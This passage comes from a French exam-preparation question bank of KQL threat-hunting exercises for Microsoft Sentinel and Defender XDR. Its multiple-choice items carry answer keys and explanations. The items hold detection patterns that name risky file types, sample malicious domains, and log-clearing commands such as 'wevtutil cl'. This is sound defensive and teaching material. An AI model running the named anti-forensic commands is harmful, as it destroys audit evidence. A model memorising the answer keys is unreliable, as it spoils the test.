- **B.** Compte les pays sans identifier la connexion nouvelle.
- **C.** Porte sur les échecs, pas sur les connexions réussies depuis un nouveau pays.

### Explication technique

Les détections fondées sur une **ligne de base** réduisent les faux positifs par rapport aux seuils statiques. L'UEBA de Sentinel calcule nativement ce type d'information (`ActivityInsights.FirstTimeUserConnectedFromCountry`). La colonne Location est un code pays.

### Résultat attendu

Les connexions réussies depuis un pays absent de l'historique de l'utilisateur.

### Hypothèses liées au schéma de données

La période de référence doit être disponible dans le niveau Analytics (14 jours au minimum de rétention interactive).

### Amélioration proposée

Exclure les IP de VPN d'entreprise et ajouter le niveau de risque Entra (`RiskLevelDuringSignIn`) pour prioriser.

**Point à retenir pour l'examen :** Nouveauté par utilisateur = référence `make_set` sur une période passée + `set_has_element`.

### Référence officielle

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 226 — Pulvérisation réussie sur Entra ID

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** identifier les adresses IP qui ont échoué sur au moins 20 comptes différents (code 50126) puis réussi au moins une connexion dans la même journée. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50126"
| summarize count() by UserPrincipalName
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| summarize dcount(UserPrincipalName) by IPAddress
| where dcount_UserPrincipalName >= 20
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize ComptesEchec = dcountif(UserPrincipalName, ResultType == "50126"),
            ComptesSucces = make_set_if(UserPrincipalName, ResultType == "0", 50)
            by IPAddress
| where ComptesEchec >= 20 and array_length(ComptesSucces) > 0
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50053"
```

**Bonne réponse : C**

### Correction détaillée

**dcountif()** compte les comptes distincts en échec (50126) ; **make_set_if()** collecte les comptes ayant réussi depuis la même IP. Le filtre final isole les IP qui ont pulvérisé **et** obtenu au moins un succès, cas prioritaire (compte probablement compromis).

### Analyse des réponses incorrectes

- **A.** Compte les échecs par utilisateur (force brute ciblée), pas par IP sur de nombreux comptes.
- **B.** Ne regarde que les succès : une IP de proxy d'entreprise légitime correspondrait.
- **D.** 50053 correspond à un compte verrouillé (ou IP bloquée par le verrouillage intelligent), sans logique de pulvérisation.

### Explication technique

La procédure Microsoft « Investigation de la pulvérisation de mots de passe » recommande de vérifier les succès depuis les IP d'attaque, puis de réinitialiser les comptes concernés et de révoquer leurs sessions. Inclure AADNonInteractiveUserSignInLogs pour les protocoles hérités.

### Résultat attendu

Les IP à l'origine d'une pulvérisation suivie d'au moins un succès, avec la liste des comptes réussis.

### Amélioration proposée

Ajouter `ClientAppUsed` pour repérer l'authentification héritée (IMAP, SMTP AUTH), souvent utilisée pour la pulvérisation et non soumise à la MFA.

**Point à retenir pour l'examen :** Spraying réussi = dcountif(échecs) élevé + make_set_if(succès) non vide par IP.

### Référence officielle

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- Enquête sur l'attaque par pulvérisation de mots de passe — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-password-spray

## Question n° 227 — Attribution de rôle Azure

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** alerter quand une attribution de rôle Azure (RBAC) est créée avec succès, en indiquant l'appelant et son IP. Quelle requête convient ?

**A.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue =~ "Microsoft.Authorization/roleAssignments/write"
| where ActivityStatusValue == "Success"
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, SubscriptionId, _ResourceId
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "virtualMachines/start"
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "Azure Portal"
```

**D.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Add member to role"
```

**Bonne réponse : A**

### Correction détaillée

Les opérations du **plan de contrôle Azure** sont dans **AzureActivity**. L'attribution de rôle correspond à l'opération **Microsoft.Authorization/roleAssignments/write** ; `ActivityStatusValue == "Success"` ne garde que les opérations abouties (un même appel génère des lignes Start/Success).

### Analyse des réponses incorrectes

- **B.** Démarrage de machines virtuelles, sans rapport avec les rôles.
- **C.** Connexions au portail, sans indication d'une attribution de rôle.
- **D.** Concerne les rôles d'annuaire Microsoft Entra, pas les attributions RBAC Azure.

### Explication technique

Les rôles **Microsoft Entra** (Administrateur général…) relèvent d'**AuditLogs** ; les rôles **Azure RBAC** (Owner, Contributor…) d'**AzureActivity**. Le détail du rôle attribué figure dans `Properties_d` (requestbody). Technique T1098 (Account Manipulation).

### Résultat attendu

Les attributions de rôle réussies avec l'auteur, son IP et la portée.

**Amélioration proposée**

Extraire le rôle et le bénéficiaire depuis `Properties_d.requestbody` et alerter en priorité sur Owner / User Access Administrator.

> **Point à retenir pour l'examen :** Rôles Azure RBAC = AzureActivity (roleAssignments/write) ; rôles Entra = AuditLogs.

**Référence officielle**

- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity

## Question n° 228 — Pièce jointe exécutable reçue

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** lister les e-mails entrants contenant une pièce jointe de type exécutable ou script. Quelle requête convient ?

**A.**

REQUÊTE KQL

```
EmailUrlInfo
| where Timestamp > ago(7d)
| where Url endswith ".exe"
```

**B.**

REQUÊTE KQL

```
EmailAttachmentInfo
| where Timestamp > ago(7d)
| where FileType in~ ("exe", "dll", "js", "vbs", "hta", "ps1", "iso", "lnk", "scr")
| project Timestamp, SenderFromAddress, RecipientEmailAddress, FileName, FileType, SHA256,
ThreatTypes
```

**C.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName endswith ".exe"
```

**D.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where AttachmentCount > 0
```

**Bonne réponse : B**

**Correction détaillée**

**EmailAttachmentInfo** décrit chaque pièce jointe (nom, **FileType**, taille, hachages, menaces détectées). Le filtrage sur des types à risque (exécutables, scripts, images disque ISO, raccourcis LNK) cible les vecteurs de livraison courants (T1566.001).

**Analyse des réponses incorrectes**

- **A.** Cherche des liens vers des exécutables, pas des pièces jointes.
- **C.** Fichiers créés sur les postes, quelle que soit leur origine.
- **D.** Liste tous les e-mails avec pièce jointe, sans filtrer le type.

**Explication technique**

Les attaquants contournent les filtres avec des archives protégées par mot de passe, des fichiers ISO/IMG (contournement du Mark-of-the-Web) ou des documents OneNote. Jointure avec EmailEvents (NetworkMessageId + RecipientEmailAddress) pour connaître la remise.

**Résultat attendu**

Les pièces jointes à risque avec expéditeur, destinataire, nom, type et hachage.

**Amélioration proposée**

Joindre avec DeviceFileEvents/DeviceProcessEvents sur SHA256 pour savoir si la pièce jointe a été enregistrée ou exécutée.

**Point à retenir pour l'examen :** Types de pièces jointes = EmailAttachmentInfo.FileType.

**Référence officielle**

- EmailAttachmentInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailattachmentinfo-table

## Question n° 229 — Résolution DNS d'une liste de domaines malveillants

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** vérifier si des appareils ont contacté l'un des domaines d'une liste fournie par un CERT. Quelle requête est la plus adaptée en chasse avancée ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl == "update-msft-cdn.net, secure-login-portal.co, files-share-drive.org"
```

**B.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(30d)
| where SenderFromDomain == "update-msft-cdn.net"
```

**C.**

REQUÊTE KQL

```
let domaines = datatable(Domaine:string)["update-msft-cdn.net", "secure-login-portal.co", "files-share-drive.org"];
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where isnotempty(RemoteUrl)
| where RemoteUrl has_any (domaines)
| summarize Connexions = count(), Premiere = min(Timestamp), Derniere = max(Timestamp) by DeviceName, RemoteUrl, InitiatingProcessFileName
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName has "secure-login-portal"
```

**Bonne réponse : C**

**Correction détaillée**

Une **datatable** (ou une watchlist / `externaldata`) porte la liste d'IOC ; **has_any(liste)** teste la présence d'un des termes dans RemoteUrl (sous-domaines compris). Le résumé par appareil et processus donne la portée et le processus responsable.

**Analyse des réponses incorrectes**

- **A.** Compare l'URL à une chaîne contenant toute la liste : aucune correspondance.
- **B.** Ne vérifie que les expéditeurs d'e-mails pour un seul domaine, pas les connexions des appareils.
- **D.** Un nom de domaine n'apparaît pas dans le nom d'un fichier exécuté.

**Explication technique**

`has_any` accepte une expression tabulaire d'une colonne. Pour de grandes listes, utilisez une jointure ou les tables de renseignement (ThreatIntelIndicators) et la règle « TI map ». Dans Sentinel, DnsEvents (serveurs DNS Windows) ou les journaux de proxy complètent la vue.

**Résultat attendu**

Une ligne par appareil, URL et processus ayant contacté un domaine de la liste.

**Amélioration proposée**

Ajouter DeviceEvents (`DnsQueryResponse`) ou les journaux DNS pour couvrir les résolutions sans connexion aboutie.

**Point à retenir pour l'examen :** Liste d'IOC = datatable/watchlist + `has_any(liste)` sur RemoteUrl.

**Référence officielle**

- DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table
- opérateur DataTable — https://learn.microsoft.com/fr-fr/kusto/query/datatable-operator?view=microsoft-sentinel

## Question n° 230 — Volume sortant élevé vers Internet

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer les hôtes internes ayant envoyé plus de 5 Go vers des adresses publiques en une journée, d'après les journaux du pare-feu (CEF). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| summarize count() by SourceIP
| where count_ > 5000
```

**B.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| summarize sum(ReceivedBytes) by DestinationIP
```

**C.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(1d)
| summarize count() by Computer
```

**D.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where ipv4_is_private(SourceIP) and not(ipv4_is_private(DestinationIP))
| summarize OctetsEnvoyes = sum(SentBytes), Destinations = dcount(DestinationIP) by SourceIP
| where OctetsEnvoyes > 5 * 1024 * 1024 * 1024
| extend Go = round(OctetsEnvoyes / 1073741824.0, 2)
| order by OctetsEnvoyes desc
```

**Bonne réponse : D**

**Correction détaillée**

**ipv4_is_private()** distingue les plages RFC 1918 ; le filtre source privée → destination publique isole le trafic sortant. **sum(SentBytes)** par IP source mesure le volume envoyé. Exfiltration potentielle (T1048, T1567).

**Analyse des réponses incorrectes**

- **A.** Compte des connexions, pas des volumes ; et ne distingue pas les destinations publiques.
- **B.** Les octets reçus par destination ne mesurent pas ce qu'un hôte interne envoie vers Internet.
- **C.** Disponibilité des agents, sans données de volume.

**Explication technique**

Selon les appliances, SentBytes/ReceivedBytes peuvent être inversés ou absents (champs CEF `out` / `in`) : valider avec la documentation du fabricant. Exclure les serveurs de sauvegarde et de mise à jour connus (watchlist).

**Résultat attendu**

Les hôtes internes dépassant 5 Go envoyés vers Internet, avec le volume en Go et le nombre de destinations.

**Hypothèses liées au schéma de données**

Hypothèse : le pare-feu renseigne SentBytes en octets dans CommonSecurityLog.

**Amélioration proposée**

Comparer au volume habituel de chaque hôte (référence sur 14 jours) plutôt qu'à un seuil fixe.

**Point à retenir pour l'examen :** Exfiltration réseau = sum(SentBytes) privé → public ; ipv4_is_private() pour classer les adresses.

**Référence officielle**

- JournalDeSécuritéCommun — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/commonsecuritylog
- ipv4_is_private() — https://learn.microsoft.com/fr-fr/kusto/query/ipv4-is-private-function?view=microsoft-sentinel

## Question n° 231 — Échecs SSH sur des serveurs Linux

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer les serveurs Linux recevant plus de 50 échecs d'authentification SSH par heure, d'après Syslog. Quelle requête convient ?

**A.**

REQUÊTE KQL

```
Syslog
| where TimeGenerated > ago(1d)
| where SeverityLevel == "emerg"
```

**B.**

REQUÊTE KQL

```
Syslog
| where TimeGenerated > ago(1d)
| where Facility in ("auth", "authpriv")
| where ProcessName == "sshd" and SyslogMessage has "Failed password"
| summarize Echecs = count() by Computer, bin(TimeGenerated, 1h)
| where Echecs > 50
```

**C.**

REQUÊTE KQL

```
Syslog
| where TimeGenerated > ago(1d)
| where ProcessName == "cron"
```

**D.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4625
```

**Bonne réponse : B**

### Correction détaillée

Les authentifications Linux sont journalisées dans les facilités **auth/authpriv** par le démon **sshd** ; « Failed password » signale un échec. Le regroupement par serveur et par heure applique le seuil.

### Analyse des réponses incorrectes

- **A.** Les échecs SSH ne sont pas des messages d'urgence système.
- **C.** cron n'a rien à voir avec l'authentification SSH.
- **D.** SecurityEvent concerne les journaux Windows.

### Explication technique

La collecte nécessite une DCR Syslog via AMA incluant auth/authpriv. Pour l'IP source, utiliser `parse` ou `extract(@"from (\d+\.\d+\.\d+\.\d+)", 1, SyslogMessage)`. Defender for Endpoint sur Linux fournit aussi DeviceLogonEvents.

### Résultat attendu

Les serveurs et heures dépassant 50 échecs SSH.

### Amélioration proposée

Extraire l'IP source et l'utilisateur pour distinguer force brute (un compte) et pulvérisation (comptes multiples, souvent root/admin/test).

**Point à retenir pour l'examen :** SSH Linux = Syslog (auth/authpriv, sshd, « Failed password »).

### Référence officielle

- syslog (protocole standard pour la journalisation des événements en informatique) — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/syslog

## Question n° 232 — Suppression massive de fichiers SharePoint

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** alerter si un utilisateur supprime plus de 200 fichiers SharePoint/OneDrive en une heure (sabotage ou rançongiciel cloud). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload in ("SharePoint", "OneDrive")
| where Operation in ("FileDeleted", "FileDeletedFirstStageRecycleBin", "FileRecycled")
| summarize Suppressions = count(), Sites = dcount(Site_Url) by UserId, bin(TimeGenerated, 1h)
| where Suppressions > 200
```

**B.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where Operation == "FileAccessed"
| summarize count() by UserId
```

**C.**

REQUÊTE KQL

```
DeviceFileEvents
| where TimeGenerated > ago(1d)
| where ActionType == "FileDeleted"
| summarize count() by DeviceName
```

**D.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload == "Exchange"
| where Operation == "SoftDelete"
```

**Bonne réponse : A**

### Correction détaillée

Les suppressions SharePoint/OneDrive apparaissent dans **OfficeActivity** avec des opérations comme **FileDeleted**, **FileRecycled** ou **FileDeletedFirstStageRecycleBin** selon le contexte. Le regroupement par utilisateur et par heure applique le seuil.

### Analyse des réponses incorrectes

- **B.** Compte des accès, pas des suppressions.
- **C.** Suppressions locales sur les appareils, pas dans SharePoint/OneDrive.
- **D.** Suppressions d'e-mails Exchange, pas de fichiers.

### Explication technique

Defender for Cloud Apps détecte nativement la « suppression inhabituelle de fichiers » et l'« activité de rançongiciel ». Pour la restauration : corbeille SharePoint, restauration de OneDrive à une date antérieure.

### Résultat attendu

Les utilisateurs et heures dépassant 200 suppressions, avec le nombre de sites concernés.

### Hypothèses liées au schéma de données

Les valeurs exactes d'Operation dépendent du journal d'audit Microsoft 365 ; vérifier les opérations présentes dans votre locataire (`summarize count() by Operation`).

### Amélioration proposée

Corréler avec une connexion à risque ou un nouvel appareil pour l'utilisateur concerné.

**Point à retenir pour l'examen :** Suppressions SharePoint/OneDrive = OfficeActivity (FileDeleted, FileRecycled…).

### Référence officielle

- Activité de Bureau — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/officeactivity

## Question n° 233 — Service installé sur un appareil

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** lister les services nouvellement installés dont l'exécutable se trouve hors des dossiers système, technique de persistance et d'exécution à distance (T1543.003, outils de type PsExec). Quelle requête utiliser en chasse avancée ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 445
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(7d)
| where LogonType == "Service"
```

**C.**

REQUÊTE KQL

```
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "ServiceInstalled"
| where FolderPath !startswith @"C:\Windows\System32" and FolderPath !startswith @"C:\Program
Files"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName,
AdditionalFields
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "services.exe"
```

**Bonne réponse : C**

### Correction détaillée

**DeviceEvents** regroupe de nombreux événements (ActionType) dont **ServiceInstalled**, avec le binaire du service (FileName, FolderPath) et des détails dans **AdditionalFields**. Un service dont l'exécutable est dans un dossier utilisateur ou temporaire est suspect.

### Analyse des réponses incorrectes

- **A.** Trafic SMB, sans preuve d'installation de service.
- **B.** Ouvertures de session de type service : complément utile mais ne liste pas les installations de services.
- **D.** services.exe démarre au boot ; son exécution ne signale pas l'installation d'un nouveau service.

### Explication technique

Côté Sentinel, l'installation de services correspond à l'événement **4697** (journal Sécurité, si l'audit est activé) ou **7045** (journal Système, table Event/WindowsEvent selon la collecte). PsExec crée un service PSEXESVC.

### Résultat attendu

Les services installés hors des dossiers système, avec le processus initiateur.

### Hypothèses liées au schéma de données

Le contenu d'AdditionalFields varie selon l'ActionType ; vérifier les propriétés disponibles dans vos données avant d'en extraire des valeurs avec `parse_json(AdditionalFields)`.

### Amélioration proposée

Corréler avec DeviceLogonEvents (LogonType Network) sur le même appareil pour identifier le compte et l'IP à l'origine d'une installation à distance.

**Point à retenir pour l'examen :** Nouveaux services = DeviceEvents « ServiceInstalled » (XDR) ou 4697/7045 (journaux Windows).

### Référence officielle

- DeviceEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceevents-table

## Question n° 234 — Lecture massive de secrets dans des comptes de stockage

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** identifier les adresses IP ayant téléchargé plus de 1 000 blobs d'un compte de stockage en une heure (exfiltration de données cloud, T1530). Quelle requête utiliser sur les journaux de ressources du stockage ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName has "Storage"
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "storageAccounts/write"
```

**C.**

REQUÊTE KQL

```
StorageBlobLogs
| where TimeGenerated > ago(1d)
| where OperationName == "PutBlob"
| summarize count() by CallerIpAddress
```

**D.**

REQUÊTE KQL

```
StorageBlobLogs
| where TimeGenerated > ago(1d)
| where OperationName == "GetBlob" and StatusText == "Success"
| summarize Telechargements = count(), Octets = sum(ResponseBodySize), Comptes =
make_set(RequesterUpn, 5)
          by CallerIpAddress, AccountName, AuthenticationType, bin(TimeGenerated, 1h)
| where Telechargements > 1000
```

## Bonne réponse : D

### Correction détaillée

Les **journaux de ressources** du stockage Blob (table **StorageBlobLogs**, via paramètres de diagnostic) enregistrent le **plan de données** : `OperationName` (GetBlob, PutBlob, DeleteBlob...), `CallerIpAddress`, `AuthenticationType` (AccountKey, SAS, OAuth), `RequesterUpn`, `ResponseBodySize`.

### Analyse des réponses incorrectes

- **A.** Les accès par clé de compte ou jeton SAS n'apparaissent pas dans les connexions Entra.
- **B.** Opérations de configuration du plan de contrôle, pas les lectures de données (plan de données).
- **C.** PutBlob correspond à des écritures, pas à des téléchargements.

### Explication technique

Le type d'authentification est crucial : un accès massif par **clé de compte** ou **SAS** depuis une IP inconnue est plus suspect qu'un accès OAuth d'une identité managée connue. **Defender for Storage** détecte nativement les anomalies d'accès et analyse les malwares chargés.

### Résultat attendu

Les IP, comptes de stockage et heures dépassant 1 000 téléchargements, avec le volume et l'identité éventuelle.

### Hypothèses liées au schéma de données

Nécessite des paramètres de diagnostic « StorageRead » vers l'espace (coût d'ingestion potentiellement élevé).

### Amélioration proposée

Exclure les IP des services internes connus et alerter sur les accès anonymes (`AuthenticationType == "Anonymous"`).

**Point à retenir pour l'examen :** Plan de données du stockage = StorageBlobLogs (GetBlob, CallerIpAddress, AuthenticationType) ; plan de contrôle = AzureActivity.

### Référence officielle

- StorageBlobLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/storagebloblogs

- Présentation de Microsoft Defender pour le stockage — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-storage-introduction

## Question n° 235 — Effacement d'un journal ou désactivation de l'audit

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer les actions anti-forensiques sur les journaux Windows : effacement du journal Sécurité et modification de la stratégie d'audit. Quelle requête convient ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4688
| where CommandLine has "notepad"
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID in (1102, 4719)
| project TimeGenerated, Computer, EventID, Activity, SubjectUserName
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID in (4624, 4634)
```

**D.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(1d)
| where Category == "Direct Agent"
```

**Bonne réponse : B**

### Correction détaillée

**1102** : journal d'audit (Sécurité) effacé ; **4719** : stratégie d'audit système modifiée. Ces événements traduisent souvent une tentative d'effacement de traces (T1070.001, T1562.002).

### Analyse des réponses incorrectes

- **A.** Exécution de Notepad, sans lien avec les journaux.
- **C.** Ouvertures et fermetures de session ordinaires.
- **D.** Disponibilité des agents.

### Explication technique

Côté XDR, les commandes `wevtutil cl` ou `Clear-EventLog` apparaissent dans DeviceProcessEvents. L'absence soudaine de journaux d'un serveur (silence) peut aussi indiquer un arrêt du service de journalisation ou de l'agent.

### Résultat attendu

Les événements d'effacement ou de modification de l'audit, avec le compte responsable.

### Amélioration proposée

Ajouter la recherche `wevtutil cl` dans DeviceProcessEvents et alerter sur l'arrêt du service EventLog.

**Point à retenir pour l'examen :** 1102 (journal effacé) et 4719 (audit modifié) = anti-forensique.

**Référence officielle**

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent

## Question n° 236 — Connexion d'un compte d'urgence

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** alerter dès qu'un des deux comptes d'accès d'urgence (break-glass) se connecte, avec succès ou non. Quelle requête est la plus adaptée à une règle NRT ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where UserPrincipalName in~ ("breakglass01@contoso.com", "breakglass02@contoso.com")
| project TimeGenerated, UserPrincipalName, ResultType, IPAddress, Location, AppDisplayName
```

**B.**

REQUÊTE KQL

```
AuditLogs
| where OperationName == "Reset password"
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where ResultType == "0"
| where UserPrincipalName startswith "admin"
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(30d)
| summarize count() by UserPrincipalName
| top 2 by count_
```

**Bonne réponse : A**

### Correction détaillée

Toute utilisation d'un **compte d'urgence** doit être exceptionnelle et immédiatement signalée. Une règle **NRT** (exécutée chaque minute, sans filtre temporel nécessaire dans la requête) sur SigninLogs filtrée par les UPN des comptes répond au besoin.

### Analyse des réponses incorrectes

- **B.** Réinitialisations de mot de passe, pas connexions des comptes d'urgence.
- **C.** Filtre approximatif qui manque les échecs et inclut d'autres comptes.
- **D.** Renvoie les deux comptes les plus actifs, pas les comptes d'urgence.

### Explication technique

Inclure aussi AADNonInteractiveUserSignInLogs dans une autre règle si nécessaire. Préférer l'**ObjectId** (UserId) des comptes à leur UPN, plus stable. Les comptes d'urgence sont exclus de l'accès conditionnel : cette surveillance compense cette exclusion.

### Résultat attendu

Chaque connexion (succès ou échec) des comptes d'urgence.

### Amélioration proposée

Stocker les identifiants des comptes dans une watchlist « ComptesUrgence » pour éviter de modifier la règle.

**Point à retenir pour l'examen :** Comptes break-glass = règle NRT dédiée sur SigninLogs (idéalement par ObjectId).

**Référence officielle**

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview

## 3.4 Corrélation entre plusieurs tables

### Question n° 237 — Hameçonnage cliqué : e-mail et clic

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** identifier les destinataires d'e-mails classés hameçonnage qui ont cliqué sur une URL du message. Quelle requête de corrélation est correcte ?

**A.**

REQUÊTE KQL

```
UrlClickEvents
| where Timestamp > ago(7d)
| where ActionType == "ClickBlocked"
```

**B.**

REQUÊTE KQL

```
EmailUrlInfo
| where Timestamp > ago(7d)
| summarize count() by UrlDomain
```

**C.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| project NetworkMessageId, RecipientEmailAddress, SenderFromAddress, Subject
| join kind=inner (
    UrlClickEvents
    | where Timestamp > ago(7d)
    | project NetworkMessageId, AccountUpn, Url, ActionType, IsClickedThrough, ClickTime =
Timestamp
  ) on NetworkMessageId
| where RecipientEmailAddress =~ AccountUpn
| project ClickTime, AccountUpn, SenderFromAddress, Subject, Url, ActionType, IsClickedThrough
```

**D.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where ThreatTypes has "Phish"
| join kind=inner (UrlClickEvents) on RecipientEmailAddress
```

**Bonne réponse : C**

**Correction détaillée**

**NetworkMessageId** relie un message (EmailEvents) aux clics associés (UrlClickEvents). La condition `RecipientEmailAddress =~ AccountUpn` garantit que le clic provient bien du destinataire (un message peut avoir plusieurs destinataires). **IsClickedThrough** révèle les utilisateurs ayant ignoré l'avertissement.

**Analyse des réponses incorrectes**

- **A.** Ne garde que les clics bloqués, sans lien avec le verdict hameçonnage du message.
- **B.** Statistiques de domaines présents dans les e-mails, sans clics ni destinataires.
- **D.** UrlClickEvents n'a pas de colonne RecipientEmailAddress ; la clé commune est NetworkMessageId (puis AccountUpn).

**Explication technique**

La clause `on` n'accepte que des égalités de colonnes : les conditions supplémentaires (ici l'égalité insensible à la casse entre deux colonnes) se placent dans un `where` après la jointure. ThreatTypes est une chaîne (par exemple « Phish, Malware ») : on utilise `has`.

**Résultat attendu**

Les clics des destinataires sur des messages d'hameçonnage, avec l'URL et le résultat (autorisé/bloqué).

**Hypothèses liées au schéma de données**

UrlClickEvents ne couvre que les URL réécrites/protégées par Safe Links.

**Amélioration proposée**

Ajouter une troisième étape : connexions Entra (EntraIdSignInEvents ou SigninLogs) du même utilisateur dans l'heure suivant le clic, depuis une IP inhabituelle.

**Point à retenir pour l'examen :** E-mail ↔ clic = NetworkMessageId (+ RecipientEmailAddress = AccountUpn).

**Référence officielle**

